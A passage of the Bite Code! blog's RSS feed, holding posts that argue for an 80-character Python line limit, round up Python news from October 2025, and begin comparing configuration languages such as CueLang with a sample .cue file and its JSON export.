Reactor&quot;,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="Starship Troopers: Paul Verhoeven's Manic, Misunderstood Satire - Reactor" title="Starship Troopers: Paul Verhoeven's Manic, Misunderstood Satire - Reactor" srcset="https://substackcdn.com/image/fetch/$s_!Qoz4!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 424w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 848w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!Qoz4!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2cf1e345-9eb0-47ea-9018-f8782c72a03a_656x365.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Then subscribe</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[80 characters? In this economy?]]></title><description><![CDATA[These things don't grow on binary trees you know!]]></description><link>https://www.bitecode.dev/p/80-characters-in-this-economy</link><guid isPermaLink="false">https://www.bitecode.dev/p/80-characters-in-this-economy</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Mon, 17 Nov 2025 07:51:30 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/335f2869-f0a3-4741-8e01-48aaf5141d88_447x392.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>Summary</h2><p><em>In 2025, it is still recommended to have an 80-character limit in Python. This seems anachronistic, but it has many benefits:</em></p><ul><li><p><em>It fits how the human eyes work. </em></p></li><li><p><em>It makes it practical when many tools are opened side by side.</em></p></li><li><p><em>It transfers easily across very different types of media and formats.</em></p></li><li><p><em>It unifies the community around a standard.</em></p></li><li><p><em>It encourages good programming practices.</em></p></li></ul><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h2>80 and still got it</h2><p>In this day and age of automatic formatting, <a href="https://peps.python.org/pep-0008/">PEP 8</a> is still the reference document on how to format Python code. It&#8217;s been updated several times since 2001, but one thing that hasn&#8217;t changed in 2025 is that the maximum line length is still <a href="https://peps.python.org/pep-0008/#maximum-line-length">recommended to be set to 79 characters</a>.</p><p>Most people have the number 80 in mind, and <code>ruff</code> and <code>black</code> will attempt to wrap at that, but will give you some breathing room and only complain if they can&#8217;t do so at 88, by default.</p><p>Why 79 and not 77 or 82?</p><p>It&#8217;s a historical thing. Early terminals and editors typically displayed 80 columns, and some added, sometimes, an indicator in the first columns, leaving you 79 characters before the line would wrap. If you want to go back further, this is a relic they inherited from punch cards!</p><p>But we have gigantic screens now, terminals can resize on the fly, and Emacs/Vims are certainly not limited to 80 columns.</p><p>So why would it still be relevant today?</p><p>I have an absolutely gigantic screen myself, and as you can see in this picture, typing this article in Obsidian means the text takes only 25% of the total width:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!59FZ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!59FZ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 424w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 848w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!59FZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg" width="1456" height="673" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:673,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:2207084,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/jpeg&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/179117815?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!59FZ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 424w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 848w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 1272w, https://substackcdn.com/image/fetch/$s_!59FZ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F44cd9676-d874-4dd2-8e14-127f3f3d851c_4000x1848.jpeg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">An entire article just as an excuse to ask you to rate my setup</figcaption></figure></div><p>And yet, I say, you should ignore the fact that most formatters, including very rigid ones, make this configurable. <strong>Keep the default limit at 80.</strong></p><p>So what gives?</p><h2><strong>How the eyes work</strong></h2><p>Typographers have been at this game way longer than there have been computers, and yet, printed text has kept more or less the same format for centuries: the content unfolds through the height more than the width.</p><p>You could think it&#8217;s because it&#8217;s easier to turn pages, but before books, we had scrolls, and we had various ways to open them, vertically or horizontally. But apart from some artistic endeavor or when graphics were involved (like a map), text kept being stubbornly mostly written to flow vertically. This is true even in languages that allow reading from top to bottom, or left to right.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!LKvs!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!LKvs!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 424w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 848w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 1272w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!LKvs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp" width="640" height="426" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:426,&quot;width&quot;:640,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:22584,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/webp&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://www.bitecode.dev/i/179117815?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!LKvs!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 424w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 848w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 1272w, https://substackcdn.com/image/fetch/$s_!LKvs!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa07bd05a-1fb7-4fac-a9ae-537e503a070f_640x426.webp 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption">Note how, despite the scroll opening on the sides, the text is still adjusted in small columns..</figcaption></figure></div><p>As research shows, <a href="https://untitled+.vscode-resource.vscode-cdn.net/www.researchgate.net/publication/234578707_Optimal_Line_Length_in_Reading--A_Literature_Review">it&#8217;s just easier for humans to read that way</a>. Long lines can even <a href="https://untitled+.vscode-resource.vscode-cdn.net/baymard.com/blog/line-length-readability">make a text overwhelming</a>.</p><p>One of the reasons for this is how our eyes move. When lines are too long, readers&#8217; eyes struggle to focus, and it becomes difficult to quickly find the start of the next line. The eye movement from the end of one line to the beginning of the next is called a &#8220;saccade&#8221;, and it affects how you can comfortably scan the text. Something you do again and again while reading code.</p><p>But it&#8217;s not just that.</p><h2><strong>Side by side</strong></h2><p>Nowadays, it&#8217;s very common to have a lot of tools side by side when editing code. You have the code, the file explorer, one terminal, maybe an AI chat, or some object hierarchy tree displayed.</p><p>Most probably, you have a Web browser open as well, either to check the result of the UI you are coding, or to search for something, read documentation, and whatnot.</p><p>Then, of course, there is code comparison, something you do on many <code>git merge</code> . You might as well have the code editor to be spitted into 2 editing panels for easier reference or copy/pasting stuff.</p><p>Having code flow mostly vertically and not taking too much width in that context is a very good thing. Does it need to be 79 characters precisely? Of course not.</p><p>To quote the PEP8 itself (quoting Emerson):</p><blockquote><p>A foolish consistency is the hobgoblin of little minds</p></blockquote><p>And later on:</p><blockquote><p>it is okay to increase the line length limit up to 99 characters</p></blockquote><p>That&#8217;s why Ruff let you set <code>max-line-length</code>.</p><p>But I find personally it&#8217;s best to let it be at 80. It gives you more margin to cram more tools side by side without turning writing code into an impractical Tetris exercise. It makes diffing much easier, and since it&#8217;s a standard, no need to configure anything, no need to argue. You will already be aligned with most tooling and teams. That itself is a win.</p><h2><strong>Different medium</strong></h2><p>Even if we were not constantly having more stuff than code open in our dev machines, this is not the only place where code is going to be read.</p><p>Here are some of the places someone may be reading code:</p><ul><li><p>In a blog article, from a phone.</p></li><li><p>In a screenshot on social media.</p></li><li><p>In a video during a tutorial.</p></li><li><p>In a web interface, inside a small widget to edit bug tickets.</p></li><li><p>In a KVM window, while trying to frantically debug this very bad Friday deployment at 3 am.</p></li><li><p>In a meeting while screen sharing.</p></li><li><p>While doing an SSH session on a BusyBox machine that has VI, but not VIM.</p></li><li><p>In the GitHub code review buckets.</p></li><li><p>In your Web server or CI logs.</p></li><li><p>In a serialized stack trace sent to a Saas like Sentry.</p></li></ul><p>Those are all situations where having long lines would make the experience more painful that it needs to be.</p><p>Look at this very blog, making lines too long is wrapping code is a way that makes me cringe:</p><pre><code><code>def size_matters_jokes_are_still_a_thing(explicit_content_name=&#8221;this_is_great_value&#8221;) -&gt; ThatsMyType:</code></code></pre><p>But to be frank, my favorite reason for asking all my teams to stick to 80 (when reasonable), is because implicitly, it makes it harder to create clever one-liners, and forces to create intermediary variables which, in reviews, I can ask to have self self-documenting name.</p><p>Besides, when you can&#8217;t have a long line, you can&#8217;t have too many nested blocks in a language that uses indentation for them. This mechanically restricts <a href="https://en.wikipedia.org/wiki/Cyclomatic_complexity">cyclomatic complexity</a>, instills habits like the use of early returns or context managers, encourages you to abstract big chunks into testable stand standalone functions, and in the end, makes adding a <a href="https://www.bitecode.dev/p/intro-to-pdb-the-python-debugger">breakpoint</a> during debugging a no-brainer.</p><p>Better code, that&#8217;s why I stick to 80 chars.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">As a human, I also have a theoretical character limit, but I haven&#8217;t reached it yet. You can subscribe to see if it ever happens.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[What's up Python? You already know :)]]></title><description><![CDATA[October, 2025]]></description><link>https://www.bitecode.dev/p/whats-up-python-you-already-know</link><guid isPermaLink="false">https://www.bitecode.dev/p/whats-up-python-you-already-know</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 09 Nov 2025 21:41:49 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/12349d3d-fd96-4c4f-a58b-1027fa3b2ac8_966x966.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So, what happened in the Python world in October?</p><p>We already talked about the big stuff, right? <a href="https://www.bitecode.dev/i/175369586/pep-lazy-imports">The lazy imports proposal</a> (it has been <a href="https://peps.python.org/pep-0810/">accepted</a>!) and obviously 3.14 came out. Real Python has a nice <a href="https://realpython.com/python314-new-features/">recap on it</a>, while we focused on <a href="https://www.bitecode.dev/p/python-314-what-didnt-make-the-headlines">what didn&#8217;t make the headlines</a>, and Miguel Grinberg has <a href="https://blog.miguelgrinberg.com/post/python-3-14-is-here-how-fast-is-it">a cool benchmark on its perfs</a> (in general, a bit better but not revolutionary).</p><p>So I kinda shoot myself in the foot with this one, because I don&#8217;t have much to report except a few crumbs:</p><ul><li><p><a href="https://devguide.python.org/versions/">Python 3.9 is reaching End Of Life</a> and won&#8217;t receive security updates anymore.</p></li><li><p>Python 3.13.9, 3.12.12, 3.11.14, 3.10.19 and 3.9.24 are out.</p></li><li><p>VSCode Python extensions&#8217; <a href="https://devblogs.microsoft.com/python/python-in-visual-studio-code-october-2025-release/">new version is out</a> with a useful &#8220;copy test ID&#8221; feature.</p></li><li><p>Python 3.15 alpha 1 is <a href="https://docs.python.org/3.15/whatsnew/3.15.html#whatsnew315-utf8-default">already there</a> (they grow so fast), teasing <a href="https://www.bitecode.dev/p/whats-up-python-astral-never-stops">the new profiler we already mentioned</a>.</p></li><li><p>A new community project named <a href="https://github.com/FarhanAliRaza/django-bolt">django-bolt</a> aims to be faster than FastAPI, but with Django ORM, Django Admin, and Django packages.</p></li><li><p>While it&#8217;s not new, it&#8217;s new to me: I discovered <a href="https://github.com/joouha/modshim">modshim</a>, a project that lets you patch third-party libs on the fly and import them under a different name. Kind of a mix between vendoring and monkey patching, except you install stuff normally, so you don&#8217;t need to maintain and provide the vendor code, nor do you risk the conflicts of monkey-patched code. Pretty sweet.</p></li><li><p><a href="https://www.djangoproject.com/weblog/2025/oct/22/django-60-beta-released/">Django 6 beta is out</a> with template partials, background tasks (again <a href="https://www.bitecode.dev/i/175369586/django-finally-gets-background-tasks">we talked about this</a>), and CSP support, but dropping support for Python 3.11 and bellow.</p></li></ul><p>Oh well, sometimes I should embrace the laziness, I guess. Like Python imports.</p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Yeah, I&#8217;m not sure this is the post that is going to make you subscribe. I don&#8217;t know. I have a feeling.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p></p>]]></content:encoded></item><item><title><![CDATA[Pepsi, when they don't have coke]]></title><description><![CDATA[This is about Starlark and has no relation to drinks whatsoever]]></description><link>https://www.bitecode.dev/p/pepsi-when-they-dont-have-coke</link><guid isPermaLink="false">https://www.bitecode.dev/p/pepsi-when-they-dont-have-coke</guid><dc:creator><![CDATA[Bite Code!]]></dc:creator><pubDate>Sun, 26 Oct 2025 12:17:43 GMT</pubDate><enclosure url="https://substack-post-media.s3.amazonaws.com/public/images/505a729f-58e9-4244-a107-fc506406f403_1024x1024.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1><strong>Summary</strong></h1><p><em>If you haven&#8217;t seen the underrated <a href="https://en.wikipedia.org/wiki/The_Invention_of_Lying">The invention of lying</a>, the article&#8217;s title may not ring a bell, but my point is, I really like Cuelang, and the closest thing I can get is Starlark.</em></p><p><em>You can write configuration in a decent sandboxed language, parse it with Python, and has very powerful filtering features for user capabilities.</em></p><p><em>But it does require a lot of ceremony.</em></p><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.bitecode.dev/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe now&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.bitecode.dev/subscribe?"><span>Subscribe now</span></a></p><h1><strong>Configuration sucks</strong></h1><p>For small config files, times are glorious. <a href="https://toml.io/en/">Toml</a> has <a href="https://docs.python.org/3/library/tomllib.html">landed officially in Python 3.11</a>, and we can read env vars and .env files in a thousand of ways. <a href="https://docs.pydantic.dev/latest/concepts/pydantic_settings/">Pydantic settings</a> lets you define a schema for the config, load it, and validate it. You get <a href="https://docs.python.org/3/library/argparse.html">argparse</a> or <a href="https://typer.tiangolo.com/">typer</a> to parse flags and options. And with AI, all this boilerplate doesn&#8217;t even have to be coded because, to be perfectly honest, not only is the LLM good at it, but it&#8217;s better at it than me.</p><p>However, when you get a big config file, with nested values, you need logic to generate stuff, require dividing it into several files, and so on.... The situation is quite terrible.</p><p>Toml is bad at nesting, and big .toml files are not great. It&#8217;s best used as a better .ini.</p><p>JSON doesn&#8217;t allow comments, import or trailing commas, has limited data type support, and makes you repeat yourself constantly. Alternatives like JSON5 barely make a dent at that, at the cost of being non-standard.</p><p>YAML is the worst of all, of course. I could write an entire article about it, but some people have already dedicated <a href="https://noyaml.com/">a website</a> to just how awful it is.</p><p>None of those have imports, functions, or DRY facilities. Well, YAML kinda has some (ref, executable code), but they are dangerous, like everything in this devil spawn of a language.</p><p>To compensate for this, the industry decided to make it worse and use templating and ad hoc DSL for the most important (and hardest to debug) part of our stack: provisioning and CI.</p><p>So you use child-holed-ridden mitts to handle hot lava.</p><p>What an awesome idea.</p><h2><strong>Take a card, any card</strong></h2><p>Since I&#8217;m not the only one nor the first to lament about this state of affairs, nerds have been working hard at crafting tools to make the problem go away.</p><p>A myriad of configuration-oriented languages were born, and some are still more pain than gain like <a href="https://developer.hashicorp.com/terraform/language/syntax/configuration">HCL</a>, while others like <a href="https://dhall-lang.org/">Dhall</a> or <a href="https://jsonnet.org/">Jsonnet</a> are interesting if you give them a chance.</p><p>One that really stands out from the crowd for me is <a href="https://cuelang.org/">CueLang</a>, a nifty language that checks all the boxes:</p><ul><li><p>Dedicated to configuration (declarative syntax, sandboxed, not Turing complete).</p></li><li><p>Great DRY facilities (functions, imports, sum types, loops, references).</p></li><li><p>A really nice, strong type system to make your input as clean as possible.</p></li><li><p>Embedded schema declaration for extra safety and reusability.</p></li></ul><p>So it scales up, but more importantly, it scales down, because the language is well designed enough that simple things say simple. A basic .cue file might not be perfectly clear if you know nothing about the syntax, but you still get the gist of it:</p><pre><code><code>package myapp

import &#8220;strings&#8221;

#DBType: {
    name:     string
    port:     int | *8080
    replicas: int &amp; &gt;=1 &amp; &lt;=10
    features: [...string]
    database: {
        host: string
        port: int | *5432
        ssl:  bool | *true
    }
}

DBConf: #DBType &amp; {
    name:     &#8220;my-service&#8221;
    replicas: 3
    features: [&#8221;auth&#8221;, &#8220;logging&#8221;, &#8220;metrics&#8221;]
    database: {
        host: &#8220;db.example.com&#8221;
    }
}

output: {
    config
    url: &#8220;https://\(strings.ToLower(config.name)).example.com:\(config.port)&#8221;
}</code></code></pre><p>And the beauty of Cue is that you can export it to JSON (or YAML) for compatibility, so you can do:</p><pre><code><code>cue export config.cue - -e output</code></code></pre><p>And get:</p><pre><code><code>{
    &#8220;url&#8221;: &#8220;https://my-service.example.com:8080&#8221;,
    &#8220;name&#8221;: &#8220;my-service&#8221;,
    &#8220;port&#8221;: 8080,
    &#8220;replicas&#8221;: 3,
    &#8220;features&#8221;: [
        &#8220;auth&#8221;,
        &#8220;logging&#8221;,
        &#8220;metrics&#8221;
    ],
    &#8220;database&#8221;: {
        &#8220;host&#8221;: &#8220;db.example.com&#8221;,
        &#8220;port&#8221;: 5432,
        &#8220;ssl&#8221;: true
    }
